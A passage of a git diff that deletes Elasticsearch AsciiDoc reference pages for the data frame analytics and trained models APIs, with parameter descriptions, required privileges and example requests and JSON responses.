-(array) Index or indices on which to perform the analysis. It can be a single 
-index or index pattern as well as an array of indices or patterns.
-    
-`query`:::
-(object) The query that has been specified for the {dfanalytics-job}. The {es} 
-query domain-specific language (<<query-dsl,DSL>>). This value corresponds to 
-the query object in an {es} search POST body. By default, this property has the 
-following value: `{"match_all": {}}`.
-
-`_source`:::
-(object) Contains the specified `includes` and/or `excludes` patterns that 
-select which fields are present in the destination. Fields that are excluded 
-cannot be included in the analysis.
-+
-.Properties of `_source`
-[%collapsible%open]
-======
-`excludes`:::
-(array) An array of strings that defines the fields that are excluded from the 
-destination.
-        
-`includes`:::
-(array) An array of strings that defines the fields that are included in the 
-destination.
-======
-//End of _source
-=====
-//End source
-====
-
-
-[[ml-get-dfanalytics-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request.
-
-
-[[ml-get-dfanalytics-example]]
-== {api-examples-title}
-
-The following example gets configuration information for the `loganalytics` 
-{dfanalytics-job}:
-
-[source,console]
---------------------------------------------------
-GET _ml/data_frame/analytics/loganalytics
---------------------------------------------------
-// TEST[skip:TBD]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count": 1,
-  "data_frame_analytics": [
-    {
-      "id": "loganalytics",
-      "source": {
-        "index": "logdata",
-        "query": {
-          "match_all": {}
-        }
-      },
-      "dest": {
-        "index": "logdata_out",
-        "results_field": "ml"
-      },
-      "analysis": {
-        "outlier_detection": {}
-      },
-      "model_memory_limit": "1gb",
-      "create_time": 1562265491319,
-      "version": "8.0.0"
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/df-analytics/apis/get-trained-models-stats.asciidoc b/docs/reference/ml/df-analytics/apis/get-trained-models-stats.asciidoc
deleted file mode 100644
index 3e70ed2abce..00000000000
--- a/docs/reference/ml/df-analytics/apis/get-trained-models-stats.asciidoc
+++ /dev/null
@@ -1,217 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-trained-models-stats]]
-= Get trained models statistics API
-[subs="attributes"]
-++++
-<titleabbrev>Get trained models stats</titleabbrev>
-++++
-
-Retrieves usage information for trained models.
-
-experimental[]
-
-
-[[ml-get-trained-models-stats-request]]
-== {api-request-title}
-
-`GET _ml/trained_models/_stats` +
-
-`GET _ml/trained_models/_all/_stats` +
-
-`GET _ml/trained_models/<model_id>/_stats` +
-
-`GET _ml/trained_models/<model_id>,<model_id_2>/_stats` +
-
-`GET _ml/trained_models/<model_id_pattern*>,<model_id_2>/_stats`
-
-
-[[ml-get-trained-models-stats-prereq]]
-== {api-prereq-title}
-
-Required privileges which should be added to a custom role:
-
-* cluster: `monitor_ml`
-
-For more information, see <<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-trained-models-stats-desc]]
-== {api-description-title}
-
-You can get usage information for multiple trained models in a single API
-request by using a comma-separated list of model IDs or a wildcard expression.
-
-
-[[ml-get-trained-models-stats-path-params]]
-== {api-path-parms-title}
-
-`<model_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-id]
-
-
-[[ml-get-trained-models-stats-query-params]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-match-models]
-
-`from`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=from-models]
-
-`size`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=size-models]
-
-[role="child_attributes"]
-[[ml-get-trained-models-stats-results]]
-== {api-response-body-title}
-
-`count`::
-(integer)
-The total number of trained model statistics that matched the requested ID
-patterns. Could be higher than the number of items in the `trained_model_stats`
-array as the size of the array is restricted by the supplied `size` parameter.
-
-`trained_model_stats`::
-(array)
-An array of trained model statistics, which are sorted by the `model_id` value
-in ascending order.
-+
-.Properties of trained model stats
-[%collapsible%open]
-====
-`model_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-id]
-
-`pipeline_count`:::
-(integer)
-The number of ingest pipelines that currently refer to the model.
-
-`inference_stats`:::
-(object)
-A collection of inference stats fields.
-+
-.Properties of inference stats
-[%collapsible%open]
-=====
-
-`missing_all_fields_count`:::
-(integer)
-The number of inference calls where all the training features for the model
-were missing.
-
-`inference_count`:::
-(integer)
-The total number of times the model has been called for inference.
-This is across all inference contexts, including all pipelines.
-
-`cache_miss_count`:::
-(integer)
-The number of times the model was loaded for inference and was not retrieved
-from the cache. If this number is close to the `inference_count`, then the cache
-is not being appropriately used. This can be solved by increasing the cache size
-or its time-to-live (TTL). See <<general-ml-settings>> for the appropriate
-settings.
-
-`failure_count`:::
-(integer)
-The number of failures when using the model for inference.
-
-`timestamp`:::
-(<<time-units,time units>>)
-The time when the statistics were last updated.
-=====
-
-`ingest`:::
-(object)
-A collection of ingest stats for the model across all nodes. The values are
-summations of the individual node statistics. The format matches the `ingest`
-section in <<cluster-nodes-stats>>.
-
-====
-
-[[ml-get-trained-models-stats-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request.
-
-[[ml-get-trained-models-stats-example]]
-== {api-examples-title}
-
-The following example gets usage information for all the trained models:
-
-[source,console]
---------------------------------------------------
-GET _ml/trained_models/_stats
---------------------------------------------------
-// TEST[skip:TBD]
-
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count": 2,
-  "trained_model_stats": [
-    {
-      "model_id": "flight-delay-prediction-1574775339910",
-      "pipeline_count": 0,
-      "inference_stats": {
-        "failure_count": 0,
-        "inference_count": 4,
-        "cache_miss_count": 3,
-        "missing_all_fields_count": 0,
-        "timestamp": 1592399986979
-      }
-    },
-    {
-      "model_id": "regression-job-one-1574775307356",
-      "pipeline_count": 1,
-      "inference_stats": {
-        "failure_count": 0,
-        "inference_count": 178,
-        "cache_miss_count": 3,
-        "missing_all_fields_count": 0,
-        "timestamp": 1592399986979
-      },
-      "ingest": {
-        "total": {
-          "count": 178,
-          "time_in_millis": 8,
-          "current": 0,
-          "failed": 0
-        },
-        "pipelines": {
-          "flight-delay": {
-            "count": 178,
-            "time_in_millis": 8,
-            "current": 0,
-            "failed": 0,
-            "processors": [
-              {
-                "inference": {
-                  "type": "inference",
-                  "stats": {
-                    "count": 178,
-                    "time_in_millis": 7,
-                    "current": 0,
-                    "failed": 0
-                  }
-                }
-              }
-            ]
-          }
-        }
-      }
-    }
-  ]
-}
-----
-// NOTCONSOLE
diff --git a/docs/reference/ml/df-analytics/apis/get-trained-models.asciidoc b/docs/reference/ml/df-analytics/apis/get-trained-models.asciidoc
deleted file mode 100644
index 11124ab8d5b..00000000000
--- a/docs/reference/ml/df-analytics/apis/get-trained-models.asciidoc
+++ /dev/null
@@ -1,334 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-trained-models]]
-= Get trained models API
-[subs="attributes"]
-++++
-<titleabbrev>Get trained models</titleabbrev>
-++++
-
-Retrieves configuration information for a trained model.
-
-experimental[]
-
-
-[[ml-get-trained-models-request]]
-== {api-request-title}
-
-`GET _ml/trained_models/` +
-
-`GET _ml/trained_models/<model_id>` +
-
-`GET _ml/trained_models/_all` +
-
-`GET _ml/trained_models/<model_id1>,<model_id2>` +
-
-`GET _ml/trained_models/<model_id_pattern*>`
-
-
-[[ml-get-trained-models-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following
-privileges:
-
-* cluster: `monitor_ml`
-
-For more information, see <<security-privileges>> and
-{ml-docs-setup-privileges}.
-
-
-[[ml-get-trained-models-desc]]
-== {api-description-title}
-
-You can get information for multiple trained models in a single API request by
-using a comma-separated list of model IDs or a wildcard expression.
-
-
-[[ml-get-trained-models-path-params]]
-== {api-path-parms-title}
-
-`<model_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-id]
-
-
-[[ml-get-trained-models-query-params]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-match-models]
-
-`decompress_definition`::
-(Optional, Boolean)
-Specifies whether the included model definition should be returned as a JSON map
-(`true`) or in a custom compressed format (`false`). Defaults to `true`.
-
-`for_export`::
-(Optional, Boolean)
-Indicates if certain fields should be removed from the model configuration on
-retrieval. This allows the model to be in an acceptable format to be retrieved
-and then added to another cluster. Default is false.
-
-`from`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=from-models]
-
-`include`::
-(Optional, string)
-A comma delimited string of optional fields to include in the response body. The
-default value is empty, indicating no optional fields are included. Valid
-options are:
- - `definition`: Includes the model definition
- - `feature_importance_baseline`: Includes the baseline for {feat-imp} values.
- - `total_feature_importance`: Includes the total {feat-imp} for the training
-   data set.
-The baseline and total {feat-imp} values are returned in the `metadata` field
-in the response body.
-
-`size`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=size-models]
-
-`tags`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=tags]
-
-[role="child_attributes"]
-[[ml-get-trained-models-results]]
-== {api-response-body-title}
-
-`trained_model_configs`::
-(array)
-An array of trained model resources, which are sorted by the `model_id` value in
-ascending order.
-+
-.Properties of trained model resources
-[%collapsible%open]
-====
-`created_by`:::
-(string)
-Information on the creator of the trained model.
-
-`create_time`:::
-(<<time-units,time units>>)
-The time when the trained model was created.
-
-`default_field_map` :::
-(object)
-A string to string object that contains the default field map to use
-when inferring against the model. For example, data frame analytics
-may train the model on a specific multi-field `foo.keyword`.
-The analytics job would then supply a default field map entry for
-`"foo" : "foo.keyword"`.
-+
-Any field map described in the inference configuration takes precedence.
-
-`description`:::
-(string)
-The free-text description of the trained model.
-
-`estimated_heap_memory_usage_bytes`:::
-(integer)
-The estimated heap usage in bytes to keep the trained model in memory.
-
-`estimated_operations`:::
-(integer)
-The estimated number of operations to use the trained model.
-
-`inference_config`:::
-(object)
-The default configuration for inference. This can be either a `regression`
-or `classification` configuration. It must match the underlying
-`definition.trained_model`'s `target_type`.
-+
-.Properties of `inference_config`
-[%collapsible%open]
-=====
-`classification`::::
-(object)
-Classification configuration for inference.
-+
-.Properties of classification inference
-[%collapsible%open]
-======
-`num_top_classes`:::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-classes]
-
-`num_top_feature_importance_values`:::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-feature-importance-values]
-
-`prediction_field_type`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-prediction-field-type]
-
-`results_field`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-results-field]
-
-`top_classes_results_field`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-top-classes-results-field]
-======
-`regression`::::
-(object)
-Regression configuration for inference.
-+
-.Properties of regression inference
-[%collapsible%open]
-======
-`num_top_feature_importance_values`:::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-regression-num-top-feature-importance-values]
-
-`results_field`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-results-field]
-======
-=====
-
-`input`:::
-(object)
-The input field names for the model definition.+
-+
-.Properties of `input`
-[%collapsible%open]
-=====
-`field_names`::::
-(string)
-An array of input field names for the model.
-=====
-
-`license_level`:::
-(string)
-The license level of the trained model.
-
-`metadata`:::
-(object)
-An object containing metadata about the trained model. For example, models
-created by {dfanalytics} contain `analysis_config` and `input` objects.
-+
-.Properties of metadata
-[%collapsible%open]
-=====
-`feature_importance_baseline`:::
-(object)
-An object that contains the baseline for {feat-imp} values. For {reganalysis},
-it is a single value. For {classanalysis}, there is a value for each class.
-
-`total_feature_importance`:::
-(array)
-An array of the total {feat-imp} for each feature used from
-the training data set. This array of objects is returned if {dfanalytics} trained
-the model and the request includes `total_feature_importance` in the `include`
-request parameter.
-+
-.Properties of total {feat-imp}
-[%collapsible%open]
-======
-
-`feature_name`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-feature-name]
-
-`importance`:::
-(object)
-A collection of {feat-imp} statistics related to the training data set for this particular feature.
-+
-.Properties of {feat-imp}
-[%collapsible%open]
-=======
-`mean_magnitude`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-magnitude]
-
-`max`:::
-(int)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-max]
-
-`min`:::
-(int)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-min]
-
-=======
-
-`classes`:::
-(array)
-If the trained model is a classification model, {feat-imp} statistics are gathered
-per target class value.
-+
-.Properties of class {feat-imp}
-[%collapsible%open]
-
-=======
-
-`class_name`:::
-(string)
-The target class value. Could be a string, boolean, or number.
-
-`importance`:::
-(object)
-A collection of {feat-imp} statistics related to the training data set for this particular feature.
-+
-.Properties of {feat-imp}
-[%collapsible%open]
-========
-`mean_magnitude`:::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-magnitude]
-
-`max`:::
-(int)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-max]
-
-`min`:::
-(int)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-min]
-
-========
-
-=======
-
-======
-=====
-
-`model_id`:::
-(string)
-Idetifier for the trained model.
-
-`tags`:::
-(string)
-A comma delimited string of tags. A trained model can have many tags, or none.
-
-`version`:::
-(string)
-The {es} version number in which the trained model was created.
-
-====
-
-[[ml-get-trained-models-response-codes]]
-
-== {api-response-codes-title}
-
-`400`::
-  If `include_model_definition` is `true`, this code indicates that more than
-  one models match the ID pattern.
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request.
-
-
-[[ml-get-trained-models-example]]
-== {api-examples-title}
-
-The following example gets configuration information for all the trained models:
-
-[source,console]
---------------------------------------------------
-GET _ml/trained_models/
---------------------------------------------------
-// TEST[skip:TBD]
diff --git a/docs/reference/ml/df-analytics/apis/index.asciidoc b/docs/reference/ml/df-analytics/apis/index.asciidoc
deleted file mode 100644
index 63a46480ce7..00000000000
--- a/docs/reference/ml/df-analytics/apis/index.asciidoc
+++ /dev/null
@@ -1,21 +0,0 @@
-include::ml-df-analytics-apis.asciidoc[leveloffset=+1]
-//CREATE
-include::put-dfanalytics.asciidoc[leveloffset=+2]
-include::put-trained-models.asciidoc[leveloffset=+2]
-//UPDATE
-include::update-dfanalytics.asciidoc[leveloffset=+2]
-//DELETE
-include::delete-dfanalytics.asciidoc[leveloffset=+2]
-include::delete-trained-models.asciidoc[leveloffset=+2]
-//EVALUATE
-include::evaluate-dfanalytics.asciidoc[leveloffset=+2]
-//ESTIMATE_MEMORY_USAGE
-include::explain-dfanalytics.asciidoc[leveloffset=+2]
-//GET
-include::get-dfanalytics.asciidoc[leveloffset=+2]
-include::get-dfanalytics-stats.asciidoc[leveloffset=+2]
-include::get-trained-models.asciidoc[leveloffset=+2]
-include::get-trained-models-stats.asciidoc[leveloffset=+2]
-//SET/START/STOP
-include::start-dfanalytics.asciidoc[leveloffset=+2]
-include::stop-dfanalytics.asciidoc[leveloffset=+2]
diff --git a/docs/reference/ml/df-analytics/apis/ml-df-analytics-apis.asciidoc b/docs/reference/ml/df-analytics/apis/ml-df-analytics-apis.asciidoc
deleted file mode 100644
index dae8757275e..00000000000
--- a/docs/reference/ml/df-analytics/apis/ml-df-analytics-apis.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-df-analytics-apis]]
-= {ml-cap} {dfanalytics} APIs
-
-You can use the following APIs to perform {ml} {dfanalytics} activities.
-
-* <<put-dfanalytics,Create {dfanalytics-jobs}>>
-* <<update-dfanalytics,Update {dfanalytics-jobs}>>
-* <<delete-dfanalytics,Delete {dfanalytics-jobs}>>
-* <<get-dfanalytics,Get {dfanalytics-jobs} info>>
-* <<get-dfanalytics-stats,Get {dfanalytics-jobs} statistics>>
-* <<start-dfanalytics,Start {dfanalytics-jobs}>>
-* <<stop-dfanalytics,Stop {dfanalytics-jobs}>>
-* <<evaluate-dfanalytics,Evaluate {dfanalytics}>>
-* <<explain-dfanalytics,Explain {dfanalytics}>>
-
-
-You can use the following APIs to perform {infer} operations.
-
-* <<put-trained-models>>
-* <<get-trained-models>>
-* <<get-trained-models-stats>>
-* <<delete-trained-models>>
-
-You can deploy a trained model to make predictions in an ingest pipeline or in 
-an aggregation. Refer to the following documentation to learn more.
-
-* <<inference-processor,{infer-cap} processor>>
-* <<search-aggregations-pipeline-inference-bucket-aggregation,{infer-cap} bucket aggregation>>
-
-
-See also <<ml-apis>>.
diff --git a/docs/reference/ml/df-analytics/apis/put-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/put-dfanalytics.asciidoc
deleted file mode 100644
index d6fc3fe07b2..00000000000
--- a/docs/reference/ml/df-analytics/apis/put-dfanalytics.asciidoc
+++ /dev/null
@@ -1,838 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[put-dfanalytics]]
-= Create {dfanalytics-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Create {dfanalytics-jobs}</titleabbrev>
-++++
-
-Instantiates a {dfanalytics-job}.
-
-experimental[]
-
-[[ml-put-dfanalytics-request]]
-== {api-request-title}
-
-`PUT _ml/data_frame/analytics/<data_frame_analytics_id>`
-
-
-[[ml-put-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following built-in roles and privileges:
-
-* `machine_learning_admin`
-* source indices: `read`, `view_index_metadata`
-* destination index: `read`, `create_index`, `manage` and `index`
-
-For more information, see <<built-in-roles>>, <<security-privileges>>, and
-{ml-docs-setup-privileges}.
-
-
-NOTE: The {dfanalytics-job} remembers which roles the user who created it had at
-the time of creation. When you start the job, it performs the analysis using
-those same roles. If you provide
-<<http-clients-secondary-authorization,secondary authorization headers>>,
-those credentials are used instead.
-
-[[ml-put-dfanalytics-desc]]
-== {api-description-title}
-
-This API creates a {dfanalytics-job} that performs an analysis on the source
-indices and stores the outcome in a destination index.
-
-If the destination index does not exist, it is created automatically when you
-start the job. See <<start-dfanalytics>>.
-
-If you supply only a subset of the {regression} or {classification} parameters,
-{ml-docs}/hyperparameters.html[hyperparameter optimization] occurs. It
-determines a value for each of the undefined parameters.
-
-[[ml-put-dfanalytics-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics-define]
-
-[role="child_attributes"]
-[[ml-put-dfanalytics-request-body]]
-== {api-request-body-title}
-
-`allow_lazy_start`::
-(Optional, Boolean)
-Specifies whether this job can start when there is insufficient {ml} node
-capacity for it to be immediately assigned to a node. The default is `false`; if
-a {ml} node with capacity to run the job cannot immediately be found, the
-<<start-dfanalytics>> API returns an error. However, this is also subject to the
-cluster-wide `xpack.ml.max_lazy_ml_nodes` setting. See <<advanced-ml-settings>>.
-If this option is set to `true`, the API does not return an error and the job
-waits in the `starting` state until sufficient {ml} node capacity is available.
-
-//Begin analysis
-`analysis`::
-(Required, object)
-The analysis configuration, which contains the information necessary to perform
-one of the following types of analysis: {classification}, {oldetection}, or
-{regression}.
-+
-.Properties of `analysis`
-[%collapsible%open]
-====
-//Begin classification
-`classification`:::
-(Required^*^, object)
-The configuration information necessary to perform
-{ml-docs}/dfa-classification.html[{classification}].
-+
-TIP: Advanced parameters are for fine-tuning {classanalysis}. They are set
-automatically by hyperparameter optimization to give the minimum validation
-error. It is highly recommended to use the default values unless you fully
-understand the function of these parameters.
-+
-.Properties of `classification`
-[%collapsible%open]
-=====
-`class_assignment_objective`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=class-assignment-objective]
-
-`dependent_variable`::::
-(Required, string)
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dependent-variable]
-+
-The data type of the field must be numeric (`integer`, `short`, `long`, `byte`),
-categorical (`ip` or `keyword`), or boolean. There must be no more than 30
-different values in this field.
-
-`eta`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=eta]
-
-`feature_bag_fraction`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=feature-bag-fraction]
-
-`feature_processors`::::
-(Optional, list)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors]
-+
-.Properties of `feature_processors`
-[%collapsible%open]
-======
-`frequency_encoding`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-frequency]
-+
-.Properties of `frequency_encoding`
-[%collapsible%open]
-=======
-`feature_name`::::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-feat-name]
-
-`field`::::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-field]
-
-`frequency_map`::::
-(Required, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-frequency-map]
-=======
-
-`ngram_encoding`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-ngram]
-+
-.Properties of `ngram_encoding`
-[%collapsible%open]
-=======
-`feature_prefix`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-ngram-feat-pref]
-
-`field`::::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-ngram-field]
-
-`length`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-ngram-length]
-
-`n_grams`::::
-(Required, array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-ngram-ngrams]
-
-`start`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-ngram-start]
-=======
-
-`one_hot_encoding`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-one-hot]
-+
-.Properties of `one_hot_encoding`
-[%collapsible%open]
-=======
-`field`::::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-field]
-
-`hot_map`::::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-one-hot-map]
-=======
-
-`target_mean_encoding`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-target-mean]
-+
-.Properties of `target_mean_encoding`
-[%collapsible%open]
-=======
-`default_value`::::
-(Required, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-target-mean-default]
-
-`feature_name`::::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-feat-name]
-
-`field`::::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-field]
-
-`target_map`::::
-(Required, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors-target-mean-map]
-=======
-
-======
-
-`gamma`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=gamma]
-
-`lambda`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=lambda]
-
-`max_trees`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-trees]
-
-`num_top_classes`::::
-(Optional, integer)
-Defines the number of categories for which the predicted probabilities are
-reported. It must be non-negative or -1. If it is -1 or greater than the total
-number of categories, probabilities are reported for all categories; if you have
-a large number of categories, there could be a significant effect on the size of your destination index. Defaults to 2. 
-+
---
-NOTE: To use the
-{ml-docs}/ml-dfanalytics-evaluate.html#ml-dfanalytics-class-aucroc[AUC ROC evaluation method],
-`num_top_classes` must be set to `-1` or a value greater than or equal to the
-total number of categories.
-
---
-
-`num_top_feature_importance_values`::::
-(Optional, integer)
-Advanced configuration option. Specifies the maximum number of
-{ml-docs}/ml-feature-importance.html[{feat-imp}] values per document to return.
-By default, it is zero and no {feat-imp} calculation occurs.
-
-`prediction_field_name`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=prediction-field-name]
-
-`randomize_seed`::::
-(Optional, long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=randomize-seed]
-
-`training_percent`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=training-percent]
-//End classification
-=====
-//Begin outlier_detection
-`outlier_detection`:::
-(Required^*^, object)
-The configuration information necessary to perform
-{ml-docs}/dfa-outlier-detection.html[{oldetection}]:
-+
-.Properties of `outlier_detection`
-[%collapsible%open]
-=====
-`compute_feature_influence`::::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=compute-feature-influence]
-
-`feature_influence_threshold`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=feature-influence-threshold]
-
-`method`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=method]
-
-`n_neighbors`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=n-neighbors]
-
-`outlier_fraction`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=outlier-fraction]
-
-`standardization_enabled`::::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=standardization-enabled]
-//End outlier_detection
-=====
-//Begin regression
-`regression`:::
-(Required^*^, object)
-The configuration information necessary to perform
-{ml-docs}/dfa-regression.html[{regression}].
-+
-TIP: Advanced parameters are for fine-tuning {reganalysis}. They are set
-automatically by hyperparameter optimization to give minimum validation error.
-It is highly recommended to use the default values unless you fully understand
-the function of these parameters.
-+
-.Properties of `regression`
-[%collapsible%open]
-=====
-`dependent_variable`::::
-(Required, string)
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dependent-variable]
-+
-The data type of the field must be numeric.
-
-`eta`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=eta]
-
-`feature_bag_fraction`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=feature-bag-fraction]
-
-`feature_processors`::::
-(Optional, list)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-feature-processors]
-
-`gamma`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=gamma]
-
-`lambda`::::
-(Optional, double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=lambda]
-
-`loss_function`::::
-(Optional, string)
-The loss function used during {regression}. Available options are `mse` (mean
-squared error), `msle` (mean squared logarithmic error),  `huber` (Pseudo-Huber
-loss). Defaults to `mse`. Refer to
-{ml-docs}/dfa-regression.html#dfa-regression-lossfunction[Loss functions for {regression} analyses]
-to learn more.
-
-`loss_function_parameter`::::
-(Optional, double)
-A positive number that is used as a parameter to the `loss_function`.
-
-`max_trees`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-trees]
-
-`num_top_feature_importance_values`::::
-(Optional, integer)
-Advanced configuration option. Specifies the maximum number of
-{ml-docs}/ml-feature-importance.html[{feat-imp}] values per document to return.
-By default, it is zero and no {feat-imp} calculation occurs.
-
-`prediction_field_name`::::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=prediction-field-name]
-
-`randomize_seed`::::
-(Optional, long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=randomize-seed]
-
-`training_percent`::::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=training-percent]
-=====
-//End regression
-====
-//End analysis
-
-//Begin analyzed_fields
-`analyzed_fields`::
-(Optional, object)
-Specify `includes` and/or `excludes` patterns to select which fields will be
-included in the analysis. The patterns specified in `excludes` are applied last,
-therefore `excludes` takes precedence. In other words, if the same field is
-specified in both `includes` and `excludes`, then the field will not be included
-in the analysis.
-+
---
-[[dfa-supported-fields]]
-The supported fields for each type of analysis are as follows:
-
-* {oldetection-cap} requires numeric or boolean data to analyze. The algorithms
-don't support missing values therefore fields that have data types other than
-numeric or boolean are ignored. Documents where included fields contain missing
-values, null values, or an array are also ignored. Therefore the `dest` index
-may contain documents that don't have an {olscore}.
-* {regression-cap} supports fields that are numeric, `boolean`, `text`,
-`keyword`, and `ip`. It is also tolerant of missing values. Fields that are
-supported are included in the analysis, other fields are ignored. Documents
-where included fields contain  an array with two or more values are also
-ignored. Documents in the `dest` index  that don’t contain a results field are
-not included in the {reganalysis}.
-* {classification-cap} supports fields that are numeric, `boolean`, `text`,
-`keyword`, and `ip`. It is also tolerant of missing values. Fields that are
-supported are included in the analysis, other fields are ignored. Documents
-where included fields contain an array with two or more values are also ignored.
-Documents in the `dest` index that don’t contain a results field are not
-included in the {classanalysis}. {classanalysis-cap} can be improved by mapping
-ordinal variable values to a  single number. For example, in case of age ranges,
-you can model the values as "0-14" = 0, "15-24" = 1, "25-34" = 2, and so on.
-
